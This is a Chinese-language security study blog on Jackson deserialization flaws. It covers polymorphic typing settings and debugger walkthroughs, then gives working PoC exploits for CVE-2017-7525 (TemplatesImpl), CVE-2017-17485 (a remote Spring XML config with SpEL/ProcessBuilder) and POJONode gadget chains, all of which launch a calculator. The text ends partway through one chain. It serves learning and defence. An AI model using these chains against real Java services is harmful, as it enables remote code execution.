Jackson反序列化

简介

这里直接引用别的师傅的

Jackson是一个流行的Java库,用于处理JSON格式的数据。它提供了一组功能强大的工具,可以方便地在Java对象和JSON之间进行转换。以下是关于Jackson库的介绍:

Jackson库包括三个主要的模块:jackson-databindjackson-annotationsjackson-core

  1. jackson-databind模块:这是Jackson库的核心模块,提供了将Java对象序列化为JSON格式以及将JSON格式反序列化为Java对象的功能。它包含了ObjectMapper类,用于执行对象和JSON之间的转换操作,以及一些注解(如@JsonProperty@JsonIgnore等),用于控制对象和JSON属性之间的映射关系。
  2. jackson-annotations模块:这个模块包含了一些用于对Java对象进行标记的注解,用于指示Jackson库如何处理对象的序列化和反序列化。这些注解使得开发人员可以在对象上方便地定义与JSON映射相关的信息,例如指定属性名、忽略某些属性等。
  3. jackson-core模块:这个模块提供了用于处理JSON数据的低级API,例如读取和写入JSON流、构建JSON树结构等。虽然大多数开发人员更倾向于使用jackson-databind模块,但在一些特定的场景下,直接使用jackson-core模块也是非常有用的。

Jackson 功能很强大,既能满足简单的序列化和反序列化操作,也能实现复杂的、个性化的序列化和反序列化操作。到目前为止,Jackson 的序列化和反序列化性能都非常优秀,已经是国内外大部分 JSON 相关编程的首选工具。Jackson从 2.0 开始改用新的包名 fasterxml,1.x 版本的包名是 codehaus。除了包名不同,他们的 Maven artifact id 也不同。1.x 版本现在只提供 bug-fix,而 2.x 版本还在不断开发和发布中。如果是新项目,建议直接用 2x,即 fasterxml jackson。

序列化和反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static void main(String[] args) throws IOException {
Person zbz = new Person(22, "zbz");
ObjectMapper objectMapper = new ObjectMapper();
//序列化
String s = objectMapper.writeValueAsString(zbz);
System.out.println(s);
//反序列化
String jack = "{\"age\":22,\"name\":\"zbz\"}";
Person person = objectMapper.readValue(jack, Person.class);
System.out.println(person.getAge());
}

//输出
{"age":22,"name":"zbz"}
22

这里只是简单的序列化和反序列化

多态问题的解决

直接引用Mi1k7ea师傅的解释

简单地说,Java多态就是同一个接口使用不同的实例而执行不同的操作。

那么问题来了,如果对多态类的某一个子类实例在序列化后再进行反序列化时,如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例呢?——Jackson实现了JacksonPolymorphicDeserialization机制来解决这个问题。

JacksonPolymorphicDeserialization即Jackson多态类型的反序列化:在反序列化某个类对象的过程中,如果类的成员变量不是具体类型(non-concrete),比如Object、接口或抽象类,则可以在JSON字符串中指定其具体类型,Jackson将生成具体类型的实例。

简单地说,就是将具体的子类信息绑定在序列化的内容中以便于后续反序列化的时候直接得到目标子类对象,其实现有两种,即DefaultTyping和@JsonTypeInfo注解。

DefaultTyping

Jackson提供一个enableDefaultTyping设置,其包含4个值,查看jackson-databind-2.7.9.jar!/com/fasterxml/jackson/databind/ObjectMapper.java可看到相关介绍信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public enum DefaultTyping {
/**
* This value means that only properties that have
* {@link java.lang.Object} as declared type (including
* generic types without explicit type) will use default
* typing.
*/
JAVA_LANG_OBJECT,

/**
* Value that means that default typing will be used for
* properties with declared type of {@link java.lang.Object}
* or an abstract type (abstract class or interface).
* Note that this does <b>not</b> include array types.
*<p>
* Since 2.4, this does NOT apply to {@link TreeNode} and its subtypes.
*/
OBJECT_AND_NON_CONCRETE,

/**
* Value that means that default typing will be used for
* all types covered by {@link #OBJECT_AND_NON_CONCRETE}
* plus all array types for them.
*<p>
* Since 2.4, this does NOT apply to {@link TreeNode} and its subtypes.
*/
NON_CONCRETE_AND_ARRAYS,

/**
* Value that means that default typing will be used for
* all non-final types, with exception of small number of
* "natural" types (String, Boolean, Integer, Double), which
* can be correctly inferred from JSON; as well as for
* all arrays of non-final types.
*<p>
* Since 2.4, this does NOT apply to {@link TreeNode} and its subtypes.
*/
NON_FINAL
}

默认情况下,即无参数的enableDefaultTyping是第二个设置,OBJECT_AND_NON_CONCRETE。

JAVA_LANG_OBJECT

当被序列化或反序列化的类里的属性被声明为一个Object类型时,会对该Object类型的属性进行序列化和反序列化,并且明确规定类名。(当然,这个Object本身也得是一个可被序列化的类)

加入一个测试类

改一下Person的属性

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
zbz zbz1 = new zbz();
Person ocean = new Person(22, "ocean",zbz1);
ObjectMapper objectMapper = new ObjectMapper();

// 设置JAVA_LANG_OBJECT
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);

String json = objectMapper.writeValueAsString(ocean);
System.out.println(json);



输出:{"age":22,"name":"ocean","object":["com.ocean.zbz",{"name":"zbz"}]}

可以看到序列化之后的属性带有类名并且直接zbz的对象

OBJECT_AND_NON_CONCRETE

OBJECT_AND_NON_CONCRETE:除了前面提到的特征,当类里有Interface、AbstractClass类时,对其进行序列化和反序列化(当然这些类本身需要时合法的、可被序列化的对象)。此外,enableDefaultTyping()默认的无参数的设置就是此选项。

引入一个接口进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
zbz zbz1 = new zbz();
Person ocean = new Person(22, "ocean",zbz1,new addressImpl());
ObjectMapper objectMapper = new ObjectMapper();

// 设置JAVA_LANG_OBJECT
// objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
//
// String json = objectMapper.writeValueAsString(ocean);
// System.out.println(json);
//OBJECT_AND_NON_CONCRETE
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);

String json = objectMapper.writeValueAsString(ocean);
System.out.println(json);

输出:{"age":22,"name":"ocean","object":["com.ocean.zbz",{"name":"zbz"}],"address":["com.ocean.addressImpl",{"address":0}]}

可以看到接口序列化成功

NON_CONCRETE_AND_ARRAYS

NON_CONCRETE_AND_ARRAYS:除了前面提到的特征外,还支持Array类型。

在改造一下改成带有数组的形式

1
2
3
4
5
6
7
8
9
10
11
12
zbz[] zbz1 = new zbz[2];
zbz1[0] = new zbz();
zbz1[1] = new zbz();
Person ocean = new Person(22, "ocean",zbz1,new addressImpl());
ObjectMapper objectMapper = new ObjectMapper();
//设置NON_CONCRETE_AND_ARRAYS
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);

String json = objectMapper.writeValueAsString(ocean);
System.out.println(json);
输出:{"age":22,"name":"ocean","object":["[Lcom.ocean.zbz;",[{"name":"zbz"},{"name":"zbz"}]],"address":["com.ocean.addressImpl",{"address":0}]}

输出看到,类名变成了”[L”+类名+”;”,序列化Object之后为数组形式,反序列化之后得到[Lcom.mi1k7ea.Hacker;类对象,说明对Array类型成功进行了序列化

NON_FINAL

NON_FINAL:除了前面的所有特征外,包含即将被序列化的类里的全部、非final的属性,也就是相当于整个类、除final外的属性信息都需要被序列化和反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
zbz[] zbz1 = new zbz[2];
zbz1[0] = new zbz();
zbz1[1] = new zbz();
Person ocean = new Person(22, "ocean",zbz1,new addressImpl(),new zbz());
ObjectMapper objectMapper = new ObjectMapper();

//设置NON_CONCRETE_AND_ARRAYS
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

String json = objectMapper.writeValueAsString(ocean);
System.out.println(json);
输出:["com.ocean.Person",{"age":22,"name":"ocean","object":["[Lcom.ocean.zbz;",[["com.ocean.zbz",{"name":"zbz"}],["com.ocean.zbz",{"name":"zbz"}]]],"address":["com.ocean.addressImpl",{"address":0}],"zbz":["com.ocean.zbz",{"name":"zbz"}]}]

成功对非final属性的zbz进行了序列化

从前面的分析知道,DefaultTyping的几个设置选项是逐渐扩大适用范围的,如下表:

DefaultTyping类型 描述说明
JAVA_LANG_OBJECT 属性的类型为Object
OBJECT_AND_NON_CONCRETE 属性的类型为Object、Interface、AbstractClass
NON_CONCRETE_AND_ARRAYS 属性的类型为Object、Interface、AbstractClass、Array
NON_FINAL 所有除了声明为final之外的属性

@JsonTypeInfo注解

@JsonTypeInfo注解是Jackson多态类型绑定的一种方式,支持下面5种类型的取值:

1
2
3
4
5
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)

JsonTypeInfo.Id.NONE

Person类,给object属性添加@JsonTypeInfo注解,指定为JsonTypeInfo.Id.NONE:

1
2
3
4
5
6
7
public int age;
public String name;

@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
public Object object;
public address address;
public zbz zbz;

进行序列化

1
2
3
4
5
6
7
 Person person = new Person();
person.object = new zbz();
ObjectMapper objectMapper = new ObjectMapper();
//JsonTypeInfo.Id.NONE
String s = objectMapper.writeValueAsString(person);
System.out.println(s);
输出:{"age":0,"name":null,"object":{"name":"zbz"},"address":null,"zbz":null}

输出看到,和没有设置值为JsonTypeInfo.Id.NONE的@JsonTypeInfo注解是一样的。

JsonTypeInfo.Id.CLASS

给Person类指定注解为JsonTypeInfo.Id.CLASS

1
{"age":0,"name":null,"object":{"@class":"com.ocean.zbz","name":"zbz"},"address":null,"zbz":null}

可以看到输出种多了”@class”:”com.ocean.zbz”,含有具体的class信息

JsonTypeInfo.Id.MINIMAL_CLASS

给Person类指定JsonTypeInfo.Id.MINIMAL_CLASS

1
{"age":0,"name":null,"object":{"@c":"com.ocean.zbz","name":"zbz"},"address":null,"zbz":null}

输出看到,object属性中多了”@c”:”com.ocean.zbz”,即使用@c替代料@class,官方描述中的意思是缩短了相关类名,实际效果和JsonTypeInfo.Id.CLASS类似。

JsonTypeInfo.Id.NAME

给Person类指定JsonTypeInfo.Id.NAME

1
{"age":0,"name":null,"object":{"@type":"zbz","name":"zbz"},"address":null,"zbz":null}

输出看到,object属性中多了”@type”:”zbz”,但没有具体的包名在内的类名,因此在后面的反序列化的时候会报错,也就是说这个设置值是不能被反序列化利用的:

JsonTypeInfo.Id.CUSTOM

其实这个值时提供给用户自定义的意思,我们是没办法直接使用的,需要手动写一个解析器才能配合使用,直接运行会抛出异常:

由前面测试发现,当@JsonTypeInfo注解设置为如下值之一并且修饰的是Object类型的属性时,可以利用来触发Jackson反序列化漏洞:

  • JsonTypeInfo.Id.CLASS
  • JsonTypeInfo.Id.MINIMAL_CLASS

这里都是参考自Mi1k7ea师傅的只是自己重新敲了一遍可以去看原文很易懂

反序列化分析

DefaultTyping

1
2
3
4
5
6
7
8
9
Person person = new Person();

person.address = new addressImpl();
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
String s = objectMapper.writeValueAsString(person);
System.out.println(s);
Person person1 = objectMapper.readValue("{\"age\":0,\"name\":null,\"object\":null,\"address\":[\"com.ocean.addressImpl\",{\"address\":0}],\"zbz\":null}", Person.class);
System.out.println(person1);

在序列化时会调用构造函数 和getter方法

在反序列化时会调用 构造函数和setter方法

@JsonTypeInfo注解

输出看到,和使用DefaultTyping是一样的

调试分析

首先跟到_readMapAndClose方法中

这里会调用deserialize方法进行反序列化跟进去

这里又会调用vanillaDeserialize方法跟进去

首先会调用createUsingDefault方法创建对象实例可以跟进去看看

可以看到存着person对象跟进去看看

进行实例化调用person的构造方法。在这之后会进入do - while循环

循环里会调用deserializeAndSet()函数来解析并设置Bean的属性值跟进去看看

这里有两个反序列化函数如果反序列化的字符串中带有class则会进入deserializeWithType方法否则会进入deserialize方法。这里由于第一个属性时age属性所以会直接进入deserialize方法跟进去看看

这里会去获取age的属性值继续向下走

然后会反射调用他的setter方法

下面我们在来看看进入deserializeWithType方法是啥样的我们已经获取到address属性所以会进入deserializeWithType方法

这里在函数最后会调用deserializeTypedFromObject方法跟进去

会走到_deserializeTypedUsingDefaultImpl方法里去跟进去

接着会走到这个deserializeTypedFromAny方法中看看干了什么

继续调用

这里调了一个反序列化方法

到这里就会发现和前面实例化对象就很像了就是前面的流程在走一遍。

反序列化漏洞

通过上面的调试流程分析可以得出如果想要触发漏洞需要有几个前提条件

  • 调用了ObjectMapper.enableDefaultTyping()函数;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;

原理

当使用的JacksonPolymorphicDeserialization机制配置有问题时,Jackson反序列化就会调用属性所属类的构造函数和setter方法。而如果该构造函数或setter方法存在危险操作,那么就存在Jackson反序列化漏洞。下面手动实验一下

可以看到是可以弹出计算器的,但是很少会有开发把危险方法写在setter方法或者构造函数里的。但是如果属性为object类型的话就可以给这个属性赋值任何类型那么就可以寻找存在构造函数或setter方法中存在漏洞的类进行利用了我们自己先写一个demo试试

先引入一个恶意类手动构造一下

1
2
3
ObjectMapper objectMapper = new ObjectMapper();
Person person1 = objectMapper.readValue("{\"age\":0,\"name\":null,\"object\":{\"@class\":\"com.ocean.zbz\",\"cmd\":\"open -a Calculator\"},\"address\":null,\"zbz\":null}", Person.class);
System.out.println(person1);

是可以成功弹出计算器的

CVE-2017-7525(基于TemplatesImpl利用链)

条件、版本

Jackson 2.6系列 < 2.6.7.1

Jackson 2.7系列 < 2.7.9.1

Jackson 2.8系列 < 2.8.8.1

JDK<7u80

poc代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.ocean;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;
import org.springframework.util.FileCopyUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class jackson_vul {

public static void main(String[] args) {
String exp = readClassStr("/Users/ocean/Cybersecurity/Java_project/jackson_stu/src/main/java/Exp.class");
String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"{\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'hack',\n" +
"'outputProperties':{}\n" +
"}\n" +
"]\n" +
"}");
System.out.printf(jsonInput);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
Hack hack;
try {
hack = mapper.readValue(jsonInput, Hack.class);
} catch (Exception e) {
e.printStackTrace();
}
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

public static String readClassStr(String cls){
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
try {
FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encode(byteArrayOutputStream.toByteArray());
}
}

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;
public class Exp extends AbstractTranslet{
public Exp() throws Exception {

try {
BufferedReader br = null;

Process p = Runtime.getRuntime().exec("open -a Calculator");
br = new BufferedReader(new InputStreamReader(p.getInputStream()));

String line = null;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line + "\n");
System.out.println(sb);
}
File file = new File("result.txt");

if(!file.exists()){
file.createNewFile();
}


FileWriter fileWritter = new FileWriter(file.getName(),true);
BufferedWriter bufferWritter = new BufferedWriter(fileWritter);
bufferWritter.write(sb.toString());
bufferWritter.close();
System.out.println(sb);
} catch (IOException e) {
e.printStackTrace();

}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

hack

1
2
3
4
5
package com.ocean;

public class Hack {
public Object object;
}

调试分析

其实这里我们会有一个疑问就是jackson在反序列化的时候是调用setter方法并没有执行getter方法而templates链的漏洞触发点是在getter方法里的所以我们下断点跟进去看看到底是怎么触发的

直接断到关键点这里,这里最关键的其实就是prop这个对象调用SetterlessProperty.deserializeAndSet()来解析outputProperties属性而前面两个属性是调用的MethodProperty.deserializeAndSet()解析的,其中SetterlessProperty.deserializeAndSet()函数中是调用属性的getter方法而非setter方法:

然后跟进去看看

这里会调用getter方法。后续的执行流程就不在分析了

至于为什么不能在高版本的利用看的其他师傅的博客因为我本地环境有点问题

:::tips
需要设置一个_factory属性,但是我们如果在payload中添加该属性,程序会报错:com.fasterxml.jackson.databind.exc.UnrecognizedPropertyException: Unrecognized field “_factory” (class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl), not marked as ignorable (5 known properties: “uriresolver”, “transletBytecodes”, “outputProperties”, “transletName”, “stylesheetDOM”])

说明Jackson不支持我们添加_tfactory属性。

:::

CVE-2017-17485(基于ClassPathXmlApplicationContext利用链)

条件、版本

Jackson 2.7系列 < 2.7.9.2

Jackson 2.8系列 < 2.8.11

Jackson 2.9系列 < 2.9.4

jdk不受限制可以在1.8的版本上跑

依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.7.9</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.7.9</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-codec/commons-codec -->
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

<!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>

<!-- https://mvnrepository.com/artifact/org.springframework/spring-beans -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-context -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-expression -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.ocean;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;
public class jackson_vul_classpath {
public static void main(String[] args) {

String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]";
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/zsh</value>
<value>-c</value>
<value>open -a Calculator</value>
</list>
</constructor-arg>

<property name="whatever" value="#{ pb.start() }"/>
</bean>
</beans>

调试分析

先断到开始反序列化的这一步

跟进这次会走到TypeWrappedDeserializer.class的deserialize方法里去而不是之前的BeanDeserializer类的deserialize方法

那我们继续跟

会走到这个case里去继续跟进去

继续调用

这里会获取bean的反序列化器调用他的反序列化方法跟进

继续走

会进入这个case跟进去

看看这个createFromString方法是干嘛的

这里会去请求我们在web上的恶意xml文件

跟进来发现会实例化一个对象继续跟

这里会调用refresh方法

:::tips
前面调用newInstance()是新建我们的利用类org.springframework.context.support.ClassPathXmlApplicationContext的实例,但是我们看到并没有调用ClassPathXmlApplicationContext类相关的setter方法,这是因为该类本身就没有setter方法,但是拥有构造函数,因此Jackson反序列化的时候会自动调用ClassPathXmlApplicationContext类的构造函数。而这个点就是和之前的利用链的不同之处,该类的漏洞点出在自己的构造函数而非在setter方法中。

:::

关键点会调用invokeBeanFactoryPostProcessors方法跟进

继续跟进去

会调用getBeanNamesForType方法

会返回doGetBeanNamesForType方法的值

跟进isFactoryBean方法

继续跟到predictBeanType里

继续到determineTarget里

这里targetType是null所以会进入resolveClass方法跟进去

跟到doResolveBeanClass方法里

跟进evaluateBeanDefinitionString方法

跟到beanExpressionResolver.evaluate

这里会获processBuilder对象继续向下走

调用了Expression.getValue()方法即SpEL表达式执行的方法 sec参数是我们可以控制的内容即由spel.xml解析得到的SpEL表达式

org.springframework.context.support.ClassPathXmlApplicationContext类,它的构造函数存在SpEL注入漏洞,进而导致可被利用来触发Jackson反序列化漏洞。

通用链

条件

利用的是Jackson中的PojoNode 他的toString是可以直接触发任意的getter的 触发条件如下

  • 不需要存在该属性
  • getter方法需要有返回值
  • 尽可能的只有一个getter

写一个demo测试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.13.3</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.13.3</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.ocean;
import java.io.IOException;
import java.io.Serializable;

public class User implements Serializable {
public User() {
}

public Object getName() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
return "1";
}

public Object setName(String name) {
System.out.println("setname");
return "2";
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.ocean;

import com.fasterxml.jackson.databind.node.POJONode;



public class jackson_tongsha {

public static void main(String[] args) {
User user = new User();
POJONode jsonNodes = new POJONode(user);
jsonNodes.toString();
}
}

运行就会弹出计算器。下面来分析一下为什么

调试分析

跟到toString方法里会调用InternalNodeMapper.nodeToString继续跟进

跟到writeValueAsString方法里

继续跟到_writeValueAndClose方法中

继续跟到serialize方法

继续跟进

这里会获取对应的序列化器然后传入序列化方法跟进

继续

跟进defaultSerializeValue方法

继续跟

这里writeStartObject会写入{ writeEndObject写入}之后中间是对Bean对象的属性值的一些构造

这里跟到serializeFields方法

主要是对Bean类中的所有属性值的写入跟到serializeAsField方法中

这里会反射调用getter方法,其实和fastjson序列化调用getter方法差不多自己跟跟就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
getName:10, User (com.ocean)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
main:12, jackson_tongsha (com.ocean)

9### templates链利用
直接给poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package com.ocean;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;


import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;



public class jackson_tongsha {

public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"open -a Calculator\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
Templates templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "fakes0u1");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode jsonNodes = new POJONode(templatesImpl);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(exp);
FileOutputStream fout=new FileOutputStream("1.ser");
fout.write(barr.toByteArray());
fout.close();
FileInputStream fileInputStream = new FileInputStream("1.ser");
System.out.println(serial(exp));
deserial(serial(exp));
}

public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

但是这里运行会报错因为什么呢

如果序列化的类实现了writeReplace方法,将会在序列化过程中调用它进行检查,好巧不巧,在POJONode的父类BaseJsonNode中就实现了这个方法,在这个方法的调用过程中抛出了异常,使得序列化过程中断

我们可以通过删除这个方法来跳过这个过程,进而成功的序列化。所以我们重写他的父类删掉就可以了

这样就可以正常触发了

SignObject链

在Templates被ban的情况下 打二次反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package tongsha;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;


import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.security.*;
import java.util.Base64;

public class SignObjectChain {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "fakes0u1");
setFieldValue(templatesImpl, "_tfactory", null);
